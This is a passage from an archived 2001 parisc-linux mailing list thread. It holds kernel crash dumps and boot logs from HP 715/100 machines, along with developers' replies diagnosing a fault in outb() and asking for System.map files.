ELF32 executable
Entry 00100000 first 00100000 n 5
Segment 0 load 00100000 size 1684160 mediaptr 0x1000
Segment 1 load 0029c000 size 191904 mediaptr 0x19d000
Segment 2 load 002cc000 size 255136 mediaptr 0x1cc000
Segment 3 load 0030c000 size 8192 mediaptr 0x20b000
Segment 4 load 003572d0 size 83456 mediaptr 0x20d2d0
branching to kernel entry point 0x00100000
Set default PSW W bit to 0

Dumping Stack from 105f4000 to 105f4c80:
4000 00000000 00000040 00000000 00000000 102b11e0 00000000 00000000 ffffffff
4020 00000002 00000000 00000000 00000000 00000000 00000000 ffffffff 102b10e0
4040 102b10e0 0000001e 105ec000 1030c000 102b7600 00000000 00000000 00000000
4060 00000000 00000000 00000000 00000001 00000000 00000000 00000000 00000000
4080 00000000 1030c000 1030c000 105d8000 00000000 00000000 105d8098 1030c098
40a0 00000000 1034585c 105f40a8 105f40a8 105f4808 00000000 00000000 00000000
40c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 105f4000
40e0 10117914 00000000 00000001 00000000 00000000 0000001e 00000000 0000001f
4100 00000000 00000000 00000000 00000000 00000000 00000000 80000000 00000000
4120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
41a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
41c0 fffffeff 00000000 ffffffff 00000000 102b1e60 ffffffff ffffffff ffffffff
41e0 ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff ffffffff
4200 ffffffff 000007b5 000007b5 00000400 00000400 ffffffff ffffffff ffffffff
4220 ffffffff ffffffff ffffffff 00007377 61707065 72000000 00000000 00000000
4240 00000000 00000000 00000000 00000000 00000000 00000000 f000b858 f0000704
4260 00000001 00000001 00000000 102ccf54 0004000e 00000008 0000003f 00000000
4280 7f7fffff 0006e1c0 00007b5c 00800327 00000001 f0000704 00007b5c 00800327
42a0 00007b5c 102b2810 00000001 105fdca0 1026755c 0004000e 00000008 00000000
42c0 10100308 1011421c 00000000 00007b5c 00800327 10317810 10313627 00000008
42e0 00000024 0000003c 0000003e 102b1010 00000001 10313627 00000000 10313603
4300 10313603 00007b5c 00000000 00000000 40800000 00000000 1031b7dc 00000001
4320 1027b0bc 0006e1c0 00000000 7f7fffff 0006e1c0 00007b5c 00008124 00000000
4340 41800000 10155bf0 00000010 00000010 00000000 00000000 00000003 00000000
4360 1030c554 1027b2a8 00000000 1036c0c0 7fffffff 7fffffff 41000000 00000000
4380 7fffffff 10155bf0 40800000 00000000 41000000 00000000 00000003 00000000
43a0 1030c594 1027b0b4 00000000 1036ce40 41800000 7fffffff 40000000 00000000
43c0 40000000 1015564c 40800000 00000000 41000000 00000000 0000003f 0000416d
43e0 00000002 1030c598 000000f0 1036c240 00000000 1056f000 105ff040 00000000
4400 10265048 1012fc20 f00effff 00000000 00000000 105f4740 10106cf8 00000001
4420 000000f0 7f7fffff 000000f0 1036c0c0 002b8000 00000000 102b7040 102b7060
4440 102b71fc 00000000 00000000 00000000 105f444c 00000000 00000000 00000000
4460 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
44a0 00000000 00000000 00000000 10106c4c 00000000 00000000 00000000 00000000
44c0 1030c000 00000000 0900deee 00000000 00000000 00000000 00000000 00000000
44e0 00000000 00000000 00000000 1010031c 00000000 00000000 00000000 00000000
4500 00000000 0900deee 00000000 00000000 00000000 00000000 00000000 00000000
4520 00000000 00000000 00000000 102cd13c 00000000 00000000 00000000 00000000
4540 1030a428 1030a420 00000000 00000000 105f454c 00000324 00000000 105f454c
4560 105f454c 00000000 1030a4a0 102d43c0 00000000 00000000 00000000 00000000
4580 1030a42c 105f4000 102b7600 1030c000 1030a4a0 102e6dd4 102ccf54 0004000e
45a0 00000008 10345010 105f4000 102d439c 1030c000 1030a4a0 1030a408 00000000
45c0 10345010 105f4000 102b7600 1030c000 1030a4a0 1030a42c 105fdc20 0004000e
45e0 00000008 10345010 105f4000 102d3d40 1030c000 1030a4a0 1030a420 105f4548
4600 102e6e1c 102e6df8 102e6dd4 102b7600 102bb1b0 00000000 105fb2c0 102b3a28
4620 00008124 105f4548 1013ad3c 1010b1f8 00000000 00000000 00000000 00000000
4640 00000006 102bb3ac 10310394 00000000 fffffffd 102e6dd4 1030c000 102b3a28
4660 102c7010 102b2010 102b244c 1011985c 00000000 00000000 00000000 00000000
4680 102b12f0 102b1338 105fdd20 00000000 00000124 f0102804 1027c880 1027c85c
46a0 10345010 00000008 0004000e 102d432c 00000000 00000001 00000001 f0000704
46c0 f000b858 f0000704 f0102800 00000000 00000000 102ccf54 00000043 00000058
46e0 ffffffff 10310010 10310010 105f46c8 00000058 f0102804 105f48c0 1012bd74
4700 102b12f0 102b1338 105f21a0 00000007 0000416d 102bb158 1027c87f 00000000
4720 00000000 00000000 00000000 1011421c 00000000 00000000 40800000 00000000
4740 10313635 00000008 00000032 0000003c 0000003e 102b1010 00000001 10313635
4760 10310010 10313603 10313603 00000058 00000010 00000010 00000000 00000000
4780 102b12f0 102b1338 105f24a0 00000007 0000416d 102bb100 105f2520 7fffffff
47a0 105f26a0 105fb2e0 7fffffff 10155e3c 40800000 00000000 0004000e 00000008
47c0 102a3010 10310010 10310010 f0102800 00000058 f0102804 0000416d 102bb100
47e0 0000416d 00000000 40000000 101198a0 40800000 00000000 41000000 00000000
4800 102bb0a8 00000000 00000000 105e8060 00000001 00000001 00000001 1027c7a4
4820 00000000 00000000 10155bb4 102d4200 f00effff 00000000 0004000e 00000008
4840 00000058 f0102800 105f26a0 105e8060 00000002 102ccf54 00000000 102b1010
4860 ffffffff 00000058 f0102800 10197cb4 105e8060 00000002 00000000 102ccf54
4880 105f26a0 105e8060 105f1c00 105f46c8 0000000f 00000000 1027c7a6 105fb300
48a0 105e0000 00000000 00000000 10194268 00000000 00000000 00000000 00000000
48c0 102b1010 ffffffff 00000058 f0102800 105f26a0 105e8060 105e8060 10313605
48e0 00000058 10313603 10313603 10102b18 00000000 00000000 00000000 00000000
4900 1019aa5c 00000058 ffffffff 0000000a 102ba810 00000000 105fb300 105e8060
4920 00000000 00000000 00000000 10198064 00000000 00000000 00000000 00000000
4940 102b12f0 102b1338 105fdd20 00000003 0000416d 105f1f1c 105f21a0 102b2448
4960 00000002 102b2010 102b244c 10198a9c 00000000 00000000 00000000 00000000
4980 ffffffff 105e8060 f0102800 105f26a0 105e8060 105e8060 1029491c 105f4949
49a0 00000000 00000002 f000b858 1011985c 0000000f 00000001 00000000 102ccf54
49c0 102b12f0 102b1338 105f21a0 00000007 0000416d 105f1ec4 105f24a0 105fb2e0
49e0 00000000 00000002 f000b858 101987dc 00000001 00000001 00000000 102ccf54
4a00 102c73e8 105fb300 00000010 00000002 ffffffff 105f24a0 105f4894 105e8060
4a20 00000001 102b2010 102b244c 1011985c 00000000 00000000 00000000 00000000
4a40 0004000f 10345010 101987dc 105e8060 0000000c 105fb2e0 000f4000 10345010
4a60 00000051 102b1010 00000000 102ccf54 00000000 00000001 00000001 f0000704
4a80 f000b858 00000002 00000000 00000000 1056e1e0 00000000 10208a68 105fb300
4aa0 0000000c 00002802 00000000 1029c010 00000000 00000160 105f4c80 10102b18
4ac0 000d081f 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4ae0 00000000 00000000 00000000 00000000 00000000 00000000 40800000 00000000
4b00 7fffffff 7fffffff 7f7fffff ffffffff 7f7fffff ffffffff 00000000 00000000
4b20 00000000 00000000 41800000 00000000 00000010 00000010 00000000 00000000
4b40 7fffffff 7fffffff 41000000 00000000 40800000 00000000 7fffffff 7fffffff
4b60 41000000 00000000 7fffffff 7fffffff 40800000 00000000 41000000 00000000
4b80 40300000 00000000 40200000 00000000 40200000 00000000 41800000 7fffffff
4ba0 40000000 00000000 40000000 00000000 40800000 00000000 41000000 00000000
4bc0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4be0 00000000 00000000 1010d5ac 1010d5b0 f00effff 00000000 00000000 00000000
4c00 00000006 00000018 0e781096 00000000 0000000c 00000000 00000000 00000000
4c20 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4c40 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4c60 00000000 00000000 00000000 10107748 00000000 00000000 00000000 00000000

Kernel Fault: Code=26 regs=105f4a40 (Addr=0000000c)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001111
r0-3     00000000 10345010 101987dc 105e8060
r4-7     0000000c 105fb2e0 000f4000 10345010
r8-11    00000051 102b1010 00000000 102ccf54
r12-15   00000000 00000001 00000001 f0000704
r16-19   f000b858 00000002 00000000 00000000
r20-23   1056e1e0 00000000 10208a68 105fb300
r24-27   0000000c 00002802 00000000 1029c010
r28-31   00000000 00000160 105f4c80 10102b18
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1010d5ac 1010d5b0
 IIR: 0e781096    ISR: 00000000  IOR: 0000000c
 ORIG_R28: 00000000

--------------4CC60164A75AC93662149227--





From - Thu Nov 08 21:18:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crashs on 715/100
Date: Fri, 20 Jul 2001 00:41:18 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <200107200641.AAA19609@puffin.external.hp.com>
References: <rscholz@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620327 22657 80.91.229.3 (22 Nov 2014 01:38:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 20 00:42:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 827E6482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Jul 2001 00:42:54 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA19609;
	Fri, 20 Jul 2001 00:41:18 -0600
In-Reply-To: Message from =?iso-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de> 
   of "Fri, 20 Jul 2001 08:18:45 +0200." <3B57CD45.220090EA@hrzpub.tu-darmstadt.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:11701

=?iso-8859-1?Q?R=FCdiger?= Scholz wrote:
...
> System.map and Config-File of the Kernel are available at
> http://www.tu-darmstadt.de/~rscholz .

I tried to look at these files but the white space was trashed.
So I can't look up symbols. I wanted to know what GR02 and IOAQ point at.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crashs on 715/100
Date: Fri, 20 Jul 2001 11:21:23 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <3B57F813.1B47E511@hrzpub.tu-darmstadt.de>
References: <200107200641.AAA19609@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620327 22659 80.91.229.3 (22 Nov 2014 01:38:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 20 03:21:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.vi-internet.de (mailx.planet-interkom.de [195.182.114.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58036482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Jul 2001 03:21:59 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de ([62.180.200.174]) by mail.vi-internet.de  with Microsoft SMTPSVC(5.5.1877.537.53);
	 Fri, 20 Jul 2001 11:21:56 +0200
Original-Sender: ruediger@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.4.6-3mdk i586)
X-Accept-Language: de, de-DE, en
Xref: news.gmane.org gmane.linux.ports.parisc:11702

Grant Grundler schrieb:

> I tried to look at these files but the white space was trashed.
> So I can't look up symbols. I wanted to know what GR02 and IOAQ point at.
>
> grant
>
> Grant Grundler
> parisc-linux {PCI|IOMMU|SMP} hacker
> +1.408.447.7253
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

Hello Grant,

GR02 has the value 101987dc
I0AQ ha the values 1010d5ac and 1010d5b0.

a.c from "build-tools" says " 0x1010d5ac outb+2c" and "0x1010d5b0 outb+30

I also refresh the files on th server. Now they are readable... ;-)

Thanks for your help,

            Rdiger





From - Thu Nov 08 21:18:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crashs on 715/100
Date: Fri, 20 Jul 2001 11:59:54 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <200107201759.LAA27765@puffin.external.hp.com>
References: <rscholz@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620328 22663 80.91.229.3 (22 Nov 2014 01:38:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	grundler@puffin.external.hp.com
To: =?iso-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 20 12:01:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF052482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Jul 2001 12:01:26 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA27765;
	Fri, 20 Jul 2001 11:59:54 -0600
In-Reply-To: Message from =?iso-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de> 
   of "Fri, 20 Jul 2001 11:21:23 +0200." <3B57F813.1B47E511@hrzpub.tu-darmstadt.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:11703

=?iso-8859-1?Q?R=FCdiger?= Scholz wrote:
> a.c from "build-tools" says " 0x1010d5ac outb+2c" and "0x1010d5b0 outb+30

My theory: Some driver is attempting outb() to a device which isn't on
a supported bus. ie outb is dereferencing a NULL bus_ops ptr.
The right way to find the culprit is to unwind the stack
by hand to find who called outb.

Seems removing the offending driver from the .config should solve
the problem for now.  The right fix is to modify the driver so it
doesn't poke IO port space unless it's clear the device lives under
a suppported bus.

> I also refresh the files on th server. Now they are readable... ;-)

http://homepages.tu-darmstadt.de/~rscholz/ gives me:
	Forbidden
	You don't have permission to access /~rscholz/ on this server.

and http://homepages.tu-darmstadt.de/~rscholz/minicom.cap
give me a 404 (Not Found).

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/100 with 0.92 not booting :(
Date: Fri, 20 Jul 2001 20:18:36 +0200 (CEST)
Lines: 246
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0107202011550.822-100000@noc.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620328 22664 80.91.229.3 (22 Nov 2014 01:38:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:48 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 20 12:18:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zabbadoz.net (mail.zabbadoz.net [195.2.176.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 610CE482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Jul 2001 12:18:38 -0600 (MDT)
Original-Received: from localhost (bz@localhost)
	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id f6KIIaA79297
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Jul 2001 20:18:37 +0200 (CEST)
X-Sender: <bz@noc.zabbadoz.net>
Xref: news.gmane.org gmane.linux.ports.parisc:11704

Hi,

had a beta0.5 running for a long time now on my 715/100 and tried to
update to 0.92 from esiee.fr.

attached console log from boot. anyone any ideas ?

if anybody needs further informations feel free to contact me
(on|off)list.


PS: it's a bit confusing with those different iso images on different
"mirrors" with different versionizing :(

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


--- snipp ---
BOOT_ADMIN> Path
Primary boot path:    scsi.0.0
Alternate boot path:  scsi.5.0
Console path:         rs232.9600.8.none
Keyboard path:        ps2
BOOT_ADMIN> boot
0x06.C740




Attempting to boot.

Loading Initial Program Loader

0x06.C580

IPL successfully loaded


Booting
0x06.C7FF
palo ipl 0.92 root@spqr Mon Jun 25 23:03:13 CEST 2001
0/vmlinux32 2853588 bytes @ 0x6ad6800
0/vmlinux64 3585851 bytes @ 0x6d8f800
0/ramdisk 1991209 bytes @ 0x70fb000

Command line: 'root=/dev/ram console=ttyS0 TERM=vt102'

Kernel: partition 0 file /vmlinux
Ramdisk: partition 0 file /ramdisk
Warning: kernel name doesn't end with 32 or 64... Guessing Annoyance: Firmware does not support PDC_MODEL_CAPABILITIES call
32
ELF32 executable
Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 1606948 mediaptr 0x1000
Segment 1 load 0028a000 size 468472 mediaptr 0x18a000
Segment 2 load 00300000 size 8192 mediaptr 0x1fd000
Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8
Loading ramdisk 1991209 bytes @ 05e09000...
branching to kernel entry point 0x00100000
Set default PSW W bit to 0
0x02.CBF0
0x02.7000

GRs

0x00000000
0x00000000
0xF4100000
0x00000001
0xF5000000
0x00000003
0x00000001
0xF0025328
0x0000000D
0xF0305698
0xF4300000
0x00000000
0x00080BEF
0x00010000
0x00000005
0x00000032
0x00000000
0x00283BAB
0x00000001
0x00000000
0x00000000
0xF0025000
0x00000500
0x0B00002D
0x00000001
0x00000000
0x00283BAB
0x1028A010
0x00000001
0xF0305698
0x003058D8
0x004F13E8

CRs

0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000000C0
0x0000001C
0x00000000
0x00000000
0x00105800
0xFFFFFFFF
0x61E1EC6A
0x00000000
0x004F0944
0xB3202000
0x00000000
0x004F0964
0x00007F00
0x80000000
0x002A6000
0x002A6000
0xFFCE99FE
0x0900DEEE
0xAAAAAAAA
0xF0002000
0x00000000
0xF00EFFFF

SRs

0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000

OTHER

0x00000000
0x004F0948
0x20000000
0x9E000004
0x00000000
0x00000000
0x00000000
0x00310000
0x00000000
0x00000000
0x00000000
0xF0305710
0xFFFBE000
0x00000000
0x00000082
0x2C1048E6
0x3AB80550

0x02.CBFB
cu: Got hangup signal
^[[A

Disconnected.
bz@accu:~> cu -l /dev/ttyS0
Connected.
0000000 00000000 00000000
2120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
21a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
21c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
21e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2200 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2220 00000000 00000000 004f0944 004f0948 f00effff 00000000 00000000 00000000
2240 00000000 0000001c b3202000 00000000 004f0964 00000000 00000000 00000000
2260 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2280 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
22a0 00000000 00000000 00000000 10106750 00000000 00000000 00000000 00000000
22c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
22e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2300 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2320 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2340 00000000 00000000 0000001f 00296000 002a6000 f0012870 00000000 00000000
2360 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2380 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
23a0 00000000 00000000 00000000 10102220 00000000 00000000 00000000 00000000
23c0 00000000 00000000 00000001 10292080 00000000 00000000 00000000 f0002840
23e0 00310000 00000030 f0305698 0000000d f0002848 00000000 00000000 00000001
2400 10292080 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2420 00000000 00000000 00000000 10102614 00000000 00000000 00000000 00000000
2440 102565e4 00000001 10292080 00000000 00000000 00000000 00000000 00000000
2460 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2480 00000000 00000000 00000000 00000000 00000000 003058d8 00304000 10256774
24a0 00000000 00000000 00000000 10102568 00000000 00000000 00000000 00000000
24c0 0004000e 10337010 10102614 00304000 003058d8 10256000 00000000 f0002848
24e0 0000000d f0305698 00000030 00310000 f0002840 00000000 00000000 f0305710
2500 10292080 00283bab 00000082 00000000 00000000 f0105800 01c9c380 00000060
2520 00000001 00000001 1029f3c0 1028a010 0000002a 00000000 10292700 00000000
2540 000d081f 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2560 00000000 00000000 00000000 00000000 00000000 00000000 40800000 00000000
2580 7fffffff 7fffffff 7f7fffff ffffffff 7f7fffff ffffffff 00000000 00000000
25a0 00000000 00000000 41800000 00000000 00000010 00000010 00000000 00000000
25c0 7fffffff 7fffffff 41000000 00000000 40800000 00000000 7fffffff 7fffffff
25e0 41000000 00000000 7fffffff 7fffffff 40800000 00000000 41000000 00000000
2600 40300000 00000000 40200000 00000000 40200000 00000000 41800000 7fffffff
2620 40000000 00000000 40000000 00000000 40800000 00000000 41000000 00000000
2640 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
2660 00000000 00000000 10102574 10102578 f00effff 00000000 00000000 00000000
2680 00000000 0000001f 0c701093 00000000 00304008 00000000 00000000 00000000
26a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
26c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
26e0 00000000 00000000 00000000 10106750 00000000 00000000 00000000 00000000

Kernel Fault: Code=15 regs=102924c0 (Addr=00304008)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001110
r0-3     00000000 10337010 10102614 00304000
r4-7     003058d8 10256000 00000000 f0002848
r8-11    0000000d f0305698 00000030 00310000
r12-15   f0002840 00000000 00000000 f0305710
r16-19   10292080 00283bab 00000082 00000000
r20-23   00000000 f0105800 01c9c380 00000060
r24-27   00000001 00000001 1029f3c0 1028a010
r28-31   0000002a 00000000 10292700 00000000
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10102574 10102578
 IIR: 0c701093    ISR: 00000000  IOR: 00304008
 ORIG_R28: 00000000

--- snipp ---





From - Thu Nov 08 21:18:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 with 0.92 not booting :(
Date: Fri, 20 Jul 2001 19:29:00 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010720192900.K22691@parcelfarce.linux.theplanet.co.uk>
References: <Pine.BSF.4.30.0107202011550.822-100000@noc.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620328 22666 80.91.229.3 (22 Nov 2014 01:38:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 20 12:29:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F865482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Jul 2001 12:29:02 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15Nf1I-0007vn-00; Fri, 20 Jul 2001 19:29:00 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.BSF.4.30.0107202011550.822-100000@noc.zabbadoz.net>; from bzeeb+hplinux@zabbadoz.net on Fri, Jul 20, 2001 at 08:18:36PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11705

On Fri, Jul 20, 2001 at 08:18:36PM +0200, Bjoern A. Zeeb wrote:
> PS: it's a bit confusing with those different iso images on different
> "mirrors" with different versionizing :(

That's why 0.9.2 was released after we had 3 different versions of 0.9.1,
each with different bugs.

I don't know what your problem is until I see the System.map which
the 0.9.2 cd shipped with.  Does anyone have this?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crashs on 715/100
Date: Fri, 20 Jul 2001 20:33:12 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20010720183348.EBCA8482C@dsl2.external.hp.com>
References: <200107201759.LAA27765@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620328 22673 80.91.229.3 (22 Nov 2014 01:38:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?q?R=FCdiger=20Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 20 12:33:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id EBCA8482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Jul 2001 12:33:48 -0600 (MDT)
Original-Received: (qmail 7287 invoked by uid 0); 20 Jul 2001 18:33:45 -0000
Original-Received: from pd90403db.dip.t-dialin.net (HELO there) (217.4.3.219)
